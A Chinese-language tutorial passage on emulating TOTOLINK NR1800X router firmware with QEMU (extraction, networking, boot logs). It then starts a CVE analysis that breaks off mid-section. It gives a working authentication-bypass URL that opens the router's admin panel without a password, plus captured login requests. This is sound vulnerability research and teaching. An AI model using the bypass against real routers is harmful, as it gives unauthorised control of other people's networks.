Loading... # 1、前言 > 参考:[TOTOLINK NR1800X 系列 CVE 分析](https://paper.seebug.org/1995/) TOTOLINK 路由器在国内并不常见,但在韩国却是份额第一的厂商。最近该路由器爆出来几个漏洞,值得分析,当做固件模拟入门。 # 2、环境搭建 根据网上公开资料,TOTOLINK NR1800X 路由器固件为 mips 架构,除了静态分析,我们最好能够通过固件模拟来动态调试分析,我们选择 QEMU 来完成模拟工作。当然,我们需要下载到固件。 ## 2.1、固件提取 固件下载地址:[https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html](https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html "https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html") 下载得固件为 TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web,体积约 8MB。使用 binwalk 提取文件: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/263677338.png) 得如下文件,其中 squashfs-root 目录下是固件文件系统: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1878372965.png) 多数工具都由 busybox 提供能力: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/892895207.png) 查看 busybox 信息,可得该固件运行于 32位 MIPS 架构,小端序: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/2751913037.png) ## 2.2、固件模拟 出现问题的型号是 TOTOLINK NR1800X,国内找不到该型号路由器售卖。我们可以使用 QEMU 模拟,QEMU 提供了user模式和system模式两种模式。 无论哪种模式,首先要安装 QEMU,我使用的是 Kali 系统,Debian 内核,参考 [Download QEMU](https://www.qemu.org/download/#linux): ```shell Debian/Ubuntu: apt-get install qemu ``` 但实际上在 kali 中即使 apt-get update 、apt-get upgrade 之后,上述命令也无法执行成功。于是下载源码编译,这个过程遇到很多坑,但都是欠缺一些依赖,网上搜一下安装依赖即可,过程耗时半个小时左右。如下确认已安装 qemu 7.1.0 版本: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/17007733.png) 安装成功的 qemu 程序有,不同的架构、位数、大小端序都有独立的 qemu 程序: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/2889179295.png) 针对 mips 架构的命名解释如下: - mips、mips64:32、64 位的大端序 mips 架构 - mipsel、mips64el:32、64 位的小端序 mips 架构 ### 2.2.1、QEMU user 模式模拟 user 模拟方式即 qemu 单独的模拟执行某一个目标程序,而不是一整个系统。 user 模式模拟不支持 Windows 系统,得用 Linux 系统。且上述安装好的 qemu 尚不支持 user 模式,还得安装: ``` apt-get install qemu-user-static ``` 之后在系统中可以找到 qemu-mipsel-static 等 qemu user 模式程序: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/2641755783.png) 我们进入到固件的 squshfs-root 目录下,将 qemu-mipsel-static 程序复制到这里,并 chroot 将这里设置为根目录,通过 qemu user 模式执行固件中的 ligthttpd 服务器: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1340598679.png) 上一步其实就是 qemu 通过 user 模式执行固件单个程序的主要步骤了,后续如果有出错一般就是程序具体业务上的问题。比如上述出错提示缺少配置文件,这就是说 ligthttpd 程序已经跑起来了,但正常运作需要一份配置文件。 一番操作,创建几个文件,终于运行成功: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/2881263464.png) 此时该路由器固件中的 MIPS 架构的 ligthttpd 服务器已经在我的 x86_64 架构的 kali linux 系统中以 qemu user 模式跑起来了,我们访问一下 web 页面确认,的确是 TOTOLINK 路由器的 web 登录界面: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1567994301.png) 但我们不知道默认的登录密码是什么,然而 [totolink登陆跳过—分析思路](https://www.wangan.com/p/7fy7f4cc39f6f18b) 这篇文章发现该 web 登陆界面存在认证绕过漏洞,访问 `http://192.168.222.137/formLoginAuth.htm?authCode=1&action=login` 可以无需登录直接进入管理界面! ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1673301231.png) 抓包示意: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/2577399608.png) ### 2.2.2、QEMU system 模式模拟 system 模拟方式会模拟出一整个包括 cpu、周边设备的目标系统,类似 VMWare 等。为此我们需要准备一些材料: - 内核镜像(必须) - 虚拟磁盘镜像(必须) - 网卡(非必须) - 如果我们需要模拟出来的 guest 系统具有网络能力,则需要为其添加网卡 此外,qemu 通过命令行方式来安装、启动目标系统,不同的系统形态、需求,都需要我们在命令行中指明体现,所以 qemu 安装、启动系统的命令行参数是比较复杂的,我们要对此习惯(对命令行参数的每一个选项都能做到知其意的话,会发现其实也不复杂)。 #### 2.2.2.1、下载内核、虚拟磁盘镜像 Debian 官网有提供针对 qemu 的 mipsel 架构的 Debian Linux 系统的内核、虚拟磁盘镜像下载,并提供 Debian6(squeeze)、Debian7(wheezy)两个版本: - [https://people.debian.org/~aurel32/qemu/mipsel/](https://people.debian.org/~aurel32/qemu/mipsel/) 上述页面往父页面回溯能找到大端序 mips 架构、以及其它如 arm 等架构的相关镜像下载。页面中有详细介绍该如何选择内核、虚拟磁盘镜像及使用方式: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1897034564.png) 我们需要下载 32 位小端序的 mipsel 架构镜像(linux 中可直接通过 wget 下载),选择 Debian7 镜像,则下载内核镜像 debian_wheezy_mipsel_standard.qcow2 及虚拟磁盘镜像 vmlinux-3.2.0-4-4kc-malta。 #### 2.2.2.2、配置虚拟系统网卡 一般情况下,配置一张可供 host、guest 通信的虚拟网卡的命令如下: ```shell # 安装 brctl 网桥配置工具 sudo apt-get install bridge-utils # 安装 tunctl 虚拟网卡配置工具 sudo apt-get install uml-utilities # 添加一个网桥 br0 sudo brctl addbr br0 # 设置网桥 br0 的网段及掩码,并启用网桥 sudo ifconfig br0 192.168.5.1/24 up # 新建一张虚拟网卡 tap0 sudo tunctl -t tap0 # 设置虚拟网卡 tap0 的 ip 地址及掩码,并启用该虚拟网卡 sudo ifconfig tap0 192.168.5.11/24 up # 将虚拟网卡 tap0 添加到网桥 br0 中 sudo brctl addif br0 tap0 ``` 在主机上查看此时的网卡信息,br0 和 tap0 都是我们新建的,而 eth0 则是主机原来的用于上网的网卡: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1799224451.png) *注意:此时的 tap0 是无法访问互联网的* > 参考:[# KVM虚拟化的多个网卡桥接配置](https://www.coder4.com/archives/997) #### 2.2.2.3、QEMU 安装、启动 guest 系统 我们自然是需要一张网卡的,使用上述方法下载得到内核镜像及虚拟硬盘镜像,并创建成功网桥 br0 及虚拟网卡 tap0 后,使用以下命令(一般情况下适用)启用 QEMU 安装 mipsel 架构的 Debian Linux: ```shell sudo qemu-system-mipsel \ -M malta \ -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_wheezy_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -netdev tap,id=tapnet,ifname=tap0,script=no \ -device rtl8139,netdev=tapnet \ -nographic ``` 对其解释如下: ```shell * qemu-system-mipsel - 已安装到系统的 mipsel 架构的 system 模拟方式的 qemu 程序 * -M malta - 使用 malta 开发板进行仿真模拟 * -kernel vmlinux-3.2.0-4-4kc-malta - 指明内核镜像 * -hda debian_wheezy_mipsel_standard.qcow2 - 指明虚拟磁盘镜像 * -append "root=/dev/sda1 console=tty0" - 指明根文件系统所在设备,以及控制台信息 * -netdev tap,id=tapnet,ifname=tap0,script=no - 配置一个主机侧的 TAP 网络设备,命名为 tapnet,使用主机的 tap0 网卡 * -device rtl8139,netdev=tapnet - 使用 rtl8139 型号网卡,对应的设备为前面创建的 tapnet 设备 * -nographic - 非图形界面 ``` 安装、启动示例如下,如下载页面介绍,使用 root/root 账户登入: ```shell ┌──(kali㉿kali)-[~/Desktop/TOTOLINK] └─$ sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic [ 0.000000] Initializing cgroup subsys cpuset [ 0.000000] Initializing cgroup subsys cpu [ 0.000000] Linux version 3.2.0-4-4kc-malta (debian-kernel@lists.debian.org) (gcc version 4.6.3 (Debian 4.6.3-14) ) #1 Debian 3.2.51-1 [ 0.000000] Config serial console: console=ttyS0,38400n8r [ 0.000000] bootconsole [early0] enabled [ 0.000000] CPU revision is: 00019300 (MIPS 24Kc) [ 0.000000] FPU revision is: 00739300 [ 0.000000] Determined physical RAM map: [ 0.000000] memory: 00001000 @ 00000000 (reserved) [ 0.000000] memory: 000ef000 @ 00001000 (ROM data) [ 0.000000] memory: 00675000 @ 000f0000 (reserved) [ 0.000000] memory: 0789b000 @ 00765000 (usable) [ 0.000000] Wasting 60576 bytes for tracking 1893 unused pages [ 0.000000] Initrd not found or empty - disabling initrd [ 0.000000] Zone PFN ranges: [ 0.000000] DMA 0x00000000 -> 0x00001000 [ 0.000000] Normal 0x00001000 -> 0x00008000 [ 0.000000] Movable zone start PFN for each node [ 0.000000] early_node_map[1] active PFN ranges [ 0.000000] 0: 0x00000000 -> 0x00008000 [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 32512 [ 0.000000] Kernel command line: root=/dev/sda1 console=ttyS0,38400n8r [ 0.000000] PID hash table entries: 512 (order: -1, 2048 bytes) [ 0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes) [ 0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes) [ 0.000000] Primary instruction cache 2kB, VIPT, 2-way, linesize 16 bytes. [ 0.000000] Primary data cache 2kB, 2-way, VIPT, no aliases, linesize 16 bytes [ 0.000000] Writing ErrCtl register=00000000 [ 0.000000] Readback ErrCtl register=00000000 [ 0.000000] Memory: 122332k/123500k available (4596k kernel code, 1168k reserved, 1278k data, 220k init, 0k highmem) [ 0.000000] NR_IRQS:256 [ 0.000000] CPU frequency 333.33 MHz [ 0.000000] Console: colour dummy device 80x25 [ 0.000000] Calibrating delay loop... 4329.47 BogoMIPS (lpj=8658944) [ 0.048000] pid_max: default: 32768 minimum: 301 [ 0.052000] Security Framework initialized [ 0.052000] AppArmor: AppArmor disabled by boot time parameter [ 0.052000] Mount-cache hash table entries: 512 [ 0.056000] Initializing cgroup subsys cpuacct [ 0.056000] Initializing cgroup subsys memory [ 0.056000] Initializing cgroup subsys devices [ 0.056000] Initializing cgroup subsys freezer [ 0.056000] Initializing cgroup subsys net_cls [ 0.060000] Initializing cgroup subsys blkio [ 0.060000] Initializing cgroup subsys perf_event [ 0.064000] devtmpfs: initialized [ 0.068000] print_constraints: dummy: [ 0.072000] NET: Registered protocol family 16 [ 0.076000] bio: create slab <bio-0> at 0 [ 0.076000] vgaarb: loaded [ 0.080000] SCSI subsystem initialized [ 0.084000] pci 0000:00:0a.3: address space collision: [io 0x1100-0x110f] conflicts with GT-64120 PCI I/O [io 0x1000-0x1fffff] [ 0.084000] vgaarb: device added: PCI:0000:00:12.0,decodes=io+mem,owns=none,locks=none [ 0.088000] pci 0000:00:0a.3: BAR 14: [io 0x1100-0x110f] has bogus alignment [ 0.088000] pci 0000:00:12.0: BAR 0: assigned [mem 0x10000000-0x11ffffff pref] [ 0.088000] pci 0000:00:13.0: BAR 6: assigned [mem 0x12000000-0x1203ffff pref] [ 0.088000] pci 0000:00:12.0: BAR 6: assigned [mem 0x12040000-0x1204ffff pref] [ 0.088000] pci 0000:00:12.0: BAR 1: assigned [mem 0x12050000-0x12050fff] [ 0.088000] pci 0000:00:13.0: BAR 0: assigned [io 0x1000-0x10ff] [ 0.088000] pci 0000:00:13.0: BAR 1: assigned [mem 0x12051000-0x120510ff] [ 0.088000] pci 0000:00:0a.2: BAR 4: assigned [io 0x1400-0x141f] [ 0.088000] pci 0000:00:0a.1: BAR 4: assigned [io 0x1420-0x142f] [ 0.092000] Switching to clocksource MIPS [ 0.116000] NET: Registered protocol family 2 [ 0.124000] IP route cache hash table entries: 1024 (order: 0, 4096 bytes) [ 0.124000] TCP established hash table entries: 4096 (order: 3, 32768 bytes) [ 0.124000] TCP bind hash table entries: 4096 (order: 2, 16384 bytes) [ 0.128000] TCP: Hash tables configured (established 4096 bind 4096) [ 0.128000] TCP reno registered [ 0.128000] UDP hash table entries: 256 (order: 0, 4096 bytes) [ 0.128000] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes) [ 0.132000] NET: Registered protocol family 1 [ 0.136000] RPC: Registered named UNIX socket transport module. [ 0.136000] RPC: Registered udp transport module. [ 0.136000] RPC: Registered tcp transport module. [ 0.136000] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 0.140000] PCI: Enabling device 0000:00:0a.2 (0000 -> 0001) [ 0.148000] audit: initializing netlink socket (disabled) [ 0.152000] type=2000 audit(1669041234.152:1): initialized [ 0.156000] VFS: Disk quotas dquot_6.5.2 [ 0.156000] Dquot-cache hash table entries: 1024 (order 0, 4096 bytes) [ 0.160000] nfs4filelayout_init: NFSv4 File Layout Driver Registering... [ 0.160000] msgmni has been set to 238 [ 0.164000] alg: No test for stdrng (krng) [ 0.168000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253) [ 0.168000] io scheduler noop registered [ 0.168000] io scheduler deadline registered [ 0.168000] io scheduler cfq registered (default) [ 0.172000] PCI: Enabling device 0000:00:12.0 (0000 -> 0002) [ 0.176000] cirrusfb 0000:00:12.0: Cirrus Logic chipset on PCI bus, RAM (4096 kB) at 0x10000000 [ 0.524000] Console: switching to colour frame buffer device 80x30 [ 0.536000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 0.580000] serial8250.0: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A [ 0.580000] console [ttyS0] enabled, bootconsole disabled [ 0.580000] console [ttyS0] enabled, bootconsole disabled [ 0.620000] serial8250.0: ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A [ 0.656000] serial8250.0: ttyS2 at MMIO 0x1f000900 (irq = 18) is a 16550A [ 0.656000] PCI: Enabling device 0000:00:0a.1 (0000 -> 0001) [ 0.664000] scsi0 : ata_piix [ 0.664000] scsi1 : ata_piix [ 0.664000] ata1: PATA max UDMA/33 cmd 0x1f0 ctl 0x3f6 bmdma 0x1420 irq 14 [ 0.664000] ata2: PATA max UDMA/33 cmd 0x170 ctl 0x376 bmdma 0x1428 irq 15 [ 0.672000] pcnet32: pcnet32.c:v1.35 21.Apr.2008 tsbogend@alpha.franken.de [ 0.672000] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 0.672000] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 0.676000] mousedev: PS/2 mouse device common for all mice [ 0.680000] rtc_cmos rtc_cmos: rtc core: registered rtc_cmos as rtc0 [ 0.680000] rtc0: alarms up to one day, 242 bytes nvram [ 0.684000] TCP cubic registered [ 0.684000] NET: Registered protocol family 17 [ 0.684000] Registering the dns_resolver key type [ 0.684000] registered taskstats version 1 [ 0.688000] rtc_cmos rtc_cmos: setting system clock to 2022-11-21 14:33:56 UTC (1669041236) [ 0.688000] Initializing network drop monitor service [ 0.800000] input: AT Raw Set 2 keyboard as /devices/platform/i8042/serio0/input/input0 [ 0.824000] ata1.00: ATA-7: QEMU HARDDISK, 2.5+, max UDMA/100 [ 0.824000] ata1.00: 52428800 sectors, multi 16: LBA48 [ 0.828000] ata1.00: configured for UDMA/33 [ 0.832000] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 0.840000] scsi 0:0:0:0: Direct-Access ATA QEMU HARDDISK 2.5+ PQ: 0 ANSI: 5 [ 0.844000] ata2.00: configured for UDMA/33 [ 0.848000] sd 0:0:0:0: [sda] 52428800 512-byte logical blocks: (26.8 GB/25.0 GiB) [ 0.848000] sd 0:0:0:0: [sda] Write Protect is off [ 0.852000] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA [ 0.856000] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 0.868000] sda: sda1 sda2 < sda5 > [ 0.872000] sd 0:0:0:0: [sda] Attached SCSI disk [ 0.880000] EXT4-fs (sda1): couldn't mount as ext3 due to feature incompatibilities [ 0.884000] EXT4-fs (sda1): couldn't mount as ext2 due to feature incompatibilities [ 0.896000] EXT4-fs (sda1): mounted filesystem with ordered data mode. Opts: (null) [ 0.896000] VFS: Mounted root (ext4 filesystem) readonly on device 8:1. [ 0.900000] Freeing prom memory: 956k freed [ 0.928000] Freeing unused kernel memory: 220k freed INIT: version 2.88 booting [info] Using makefile-style concurrent boot in runlevel S. findfs: unable to resolve 'UUID=e21e0e27-e8b7-4aaa-ac5f-fa6a2f558daf' [ ok ] Starting the hotplug events dispatcher: udevd. [....] Synthesizing the initial hotplug events...[ 5.960000] usbcore: registered new interface driver usbfs [ 5.960000] usbcore: registered new interface driver hub [ 5.964000] usbcore: registered new device driver usb [ 5.972000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver [ 5.976000] uhci_hcd: USB Universal Host Controller Interface driver [ 5.976000] uhci_hcd 0000:00:0a.2: UHCI Host Controller [ 6.084000] uhci_hcd 0000:00:0a.2: new USB bus registered, assigned bus number 1 [ 6.084000] uhci_hcd 0000:00:0a.2: irq 11, io base 0x00001400 [ 6.256000] usb usb1: New USB device found, idVendor=1d6b, idProduct=0001 [ 6.256000] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1 [ 6.260000] usb usb1: Product: UHCI Host Controller [ 6.260000] usb usb1: Manufacturer: Linux 3.2.0-4-4kc-malta uhci_hcd [ 6.260000] usb usb1: SerialNumber: 0000:00:0a.2 [ 6.272000] physmap platform flash device: 00400000 at 1e000000 [ 6.348000] sr0: scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 6.352000] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 6.356000] hub 1-0:1.0: USB hub found [ 6.356000] hub 1-0:1.0: 2 ports detected [ 6.360000] 8139cp: 8139cp: 10/100 PCI Ethernet driver v1.3 (Mar 22, 2004) [ 6.404000] piix4_smbus 0000:00:0a.3: SMBus Host Controller at 0x1100, revision 0 [ 6.420000] PCI: Enabling device 0000:00:13.0 (0000 -> 0003) [ 6.420000] 8139cp 0000:00:13.0: eth0: RTL-8139C+ at 0xb2051000, 52:54:00:12:34:56, IRQ 10 [ 6.452000] 8139too: 8139too Fast Ethernet driver 0.9.28 [ 6.712000] physmap-flash.0: Found 1 x32 devices at 0x0 in 32-bit bank. Manufacturer ID 0x000000 Chip ID 0x000000 [ 6.744000] sd 0:0:0:0: Attached scsi generic sg0 type 0 [ 6.744000] sr 1:0:0:0: Attached scsi generic sg1 type 5 [ 6.920000] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input1 [ 7.144000] Intel/Sharp Extended Query Table at 0x0031 [ 7.144000] Using buffer write method [ 7.528000] Searching for RedBoot partition table in physmap-flash.0 at offset 0x3f0000 [ 7.528000] No RedBoot partition table detected in physmap-flash.0 [ 7.804000] Creating 3 MTD partitions on "physmap-flash.0": [ 7.808000] 0x000000000000-0x000000100000 : "YAMON" [ 7.816000] 0x000000100000-0x0000003e0000 : "User FS" [ 7.816000] 0x0000003e0000-0x000000400000 : "Board Config" done. [ ok ] Waiting for /dev to be fully populated...done. [ ok ] Setting preliminary keymap...done. [....] Activating swap...[ 12.588000] Adding 492540k swap on /dev/sda5. Priority:-1 extents:1 across:492540k done. [ 13.044000] EXT4-fs (sda1): re-mounted. Opts: (null) [....] Checking root file system...fsck from util-linux 2.20.1 /dev/sda1: clean, 36156/1607520 files, 350773/6429696 blocks done. [ 13.760000] EXT4-fs (sda1): re-mounted. Opts: errors=remount-ro [warn] Creating compatibility symlink from /etc/mtab to /proc/mounts. ... (warning). [ ok ] Cleaning up temporary files... /tmp. [info] Loading kernel module loop. [ 15.692000] loop: module loaded [ ok ] Activating lvm and md swap...done. [....] Checking file systems...fsck from util-linux 2.20.1 done. [ ok ] Mounting local filesystems...done. [ ok ] Activating swapfile swap...done. [ ok ] Cleaning up temporary files.... [ ok ] Setting kernel variables ...done. [....] Configuring network interfaces...[ 33.144000] NET: Registered protocol family 10 [ 33.668000] 8139cp 0000:00:13.0: eth0: link up, 100Mbps, full-duplex, lpa 0x05E1 ifup: interface eth0 already configured done. [ ok ] Starting rpcbind daemon.... [....] Starting NFS common utilities: statd[ 35.852000] Installing knfsd (copyright (C) 1996 okir@monad.swb.de). [ ok pd. [ ok ] Cleaning up temporary files.... [info] Setting console screen modes. setterm: cannot (un)set powersave mode: Invalid argument [info] Skipping font and keymap setup (handled by console-setup). [ ok ] Setting up console font and keymap...done. INIT: Entering runlevel: 2 [info] Using makefile-style concurrent boot in runlevel 2. [ ok ] Starting rpcbind daemon...[....] Already running.. [ ok ] Starting NFS common utilities: statd idmapd. [ ok ] Starting enhanced syslogd: rsyslogd. [ ok ] Starting deferred execution scheduler: atd. [ ok ] Starting periodic command scheduler: cron. [ ok ] Starting OpenBSD Secure Shell server: sshd. [ ok ] Starting MTA: exim4. Debian GNU/Linux 7 debian-mipsel ttyS0 debian-mipsel login: root Password: Linux debian-mipsel 3.2.0-4-4kc-malta #1 Debian 3.2.51-1 mips The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@debian-mipsel:~# whoami root ``` 此时,我们已经成功在 x86-64 架构的 Kali Linux 中通过 QEMU 模拟运行一个 32 位的 mipsel 架构的 Debian Linux, 并获取到 shell 了。我们称 Kali Linux 为 host 系统,称模拟运行的系统为 guest 系统。 #### 2.2.2.4、guest 系统配置网络 查看 guest 系统刚装好时的网络配置,可见存在一张 eth0 网卡,但尚未配置 ip 地址信息: ```shell root@debian-mipsel:~# ifconfig eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:2630 (2.5 KiB) Interrupt:10 Base address:0x1000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) ``` 在 host 侧我们创建的 br0 网桥是 192.168.5.1/24 网段的,我们把 guest 系统也设置到该网段即可: ```shell root@debian-mipsel:~# ifconfig eth0 192.168.5.12 up root@debian-mipsel:~# ifconfig eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:192.168.5.12 Bcast:192.168.5.255 Mask:255.255.255.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:2630 (2.5 KiB) Interrupt:10 Base address:0x1000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) root@debian-mipsel:~# ping 192.168.5.1 PING 192.168.5.1 (192.168.5.1) 56(84) bytes of data. 64 bytes from 192.168.5.1: icmp_req=1 ttl=64 time=5.51 ms 64 bytes from 192.168.5.1: icmp_req=2 ttl=64 time=2.91 ms ``` #### 2.2.2.5、SSH 连接 guest 系统 QEMU 刚启动 guest 系统时会打开一个 shell 窗口,但只通过该 shell 窗口管理 guest 系统则欠缺了灵活性。我们当然可以像通常远程管理 Linux 系统一样,通过 SSH 管理 guest 系统: ```shell ┌──(kali㉿kali)-[~/Desktop/TOTOLINK/_TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web.extracted] └─$ ssh root@192.168.5.12 root@192.168.5.12's password: Linux debian-mipsel 3.2.0-4-4kc-malta #1 Debian 3.2.51-1 mips The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Nov 21 14:40:37 2022 root@debian-mipsel:~# pwd /root ``` #### 2.2.2.6、上传并执行固件 我们最终的目标是模拟运行 TOTOLINK NR1800X 固件,此时我们已经有一个和固件同架构的 guest 系统并能够对其进行管理,接下来我们需要把固件上传至 guest 系统中执行起来。 主机和 guest 有多种方式可以传输文件,scp 是其中最简单的一种。scp 命令是 Linux 系统自带的远程文件复制命令,使用 scp 命令将固件的根文件目录复制到 guest 系统中: ```shell ┌──(kali㉿kali)-[~/Desktop/TOTOLINK/_TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web.extracted] └─$ scp -r squashfs-root root@192.168.5.12:/root/ 1 ⨯ The authenticity of host '192.168.5.12 (192.168.5.12)' can't be established. ECDSA key fingerprint is SHA256:rSYndMlJRLqk3BQaFO5ZYUNMZb928S2hLesFCdRfOIY. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.5.12' (ECDSA) to the list of known hosts. root@192.168.5.12's password: wps_status 100% 3656 1.2MB/s 00:00 lanauth 100% 19KB 5.2MB/s 00:00 ntpd 100% 630KB 10.8MB/s 00:00 inetd 100% 630KB 10.5MB/s 00:00 lktos_reload 100% 7184 2.7MB/s 00:00 telnetd 100% 630KB 10.8MB/s 00:00 pptpctrl 100% 19KB 5.8MB/s 00:00 nvram 100% 7128 2.5MB/s 00:00 ... ``` 回到 guest 系统中,像 user 模式一样,通过 chroot 更改根目录为固件的根文件系统所在目录并启动 web 服务器: ```shell root@debian-mipsel:~# chroot ./squashfs-root/ /bin/sh BusyBox v1.24.2 (2021-09-10 12:07:15 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. / # /usr/sbin/lighttpd -f /lighttp/lighttpd.conf / # 2022-11-21 14:54:04: (log.c.97) server started ``` 此时在 host 主机成功访问 guest 系统的 web 页面: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/3608995968.png) # 3、漏洞分析 TOTOLINK NR1800X 系列 CVE:[https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=TOTOLINK%20NR1800X](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=TOTOLINK%20NR1800X) 此次披露攻击 11 个漏洞,其中 9 个栈溢出漏洞,2 个命令注入漏洞。再加上前面提到的登录绕过漏洞,一个 12 个漏洞。 ## 3.1、CVE-2021-35324 登录绕过漏洞 TOTOLINK 路由器的登录绕过漏洞有关联到 [CVE-2021-35324](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-35324),这个洞是在 TOTOLINK A720R 路由器发现的。但在我分析的 NR1800X 上也确认存在该问题,所以很可能 TOTOLINK 的系列路由器都会有这个漏洞。 如下,正常访问 web 管理后台,我们需要输入管理员的账号信息: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/789582991.png) 但直接访问如下链接: ```html http://xxxxxxxx/formLoginAuth.htm?authCode=1&action=login ``` 可无需账户密码,直接进入 web 后台: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/539631716.png) 我们首先看看正常的登录过程,有两个关键的请求: ``` POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1 Host: 192.168.5.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 27 Origin: http://192.168.5.12 Connection: keep-alive Referer: http://192.168.5.12/login.html Cookie: SESSION_ID=2:1669070429:2 Upgrade-Insecure-Requests: 1 username=admin password=123 ``` ``` GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1 Host: 192.168.5.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.5.12/login.html Connection: keep-alive Cookie: SESSION_ID=2:1669070429:2 Upgrade-Insecure-Requests: 1 ``` 第一个请求带上 username 和 password(居然是明文!不可思议),看请求应该是 cgi 后台,在固件中 www 目录中找到 cgi 程序,用 IDA 打开分析(Mips 架构程序,IDA 需要 v7.5 才能 F5。Ghidra 伪代码比 IDA 难读太多了),搜索查询字符串 action=login 定位到 main 函数: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/717073761.png) 上述逻辑中查询字符串并无 flag 及 verify 字段,最终会构造如下 json 数据: ```json {"topicurl":"loginAuth","loginAuthUrl":"username=admin&password=123456&http_host=192.168.5.12&verify=0"} ``` 决定好 handler 函数为 sub_42AEEC(): ![图片.png](http://47.117.131.13/usr/uploads/2022/11/504233062.png) 在 handler 函数中,首先取得各个查询字段值: 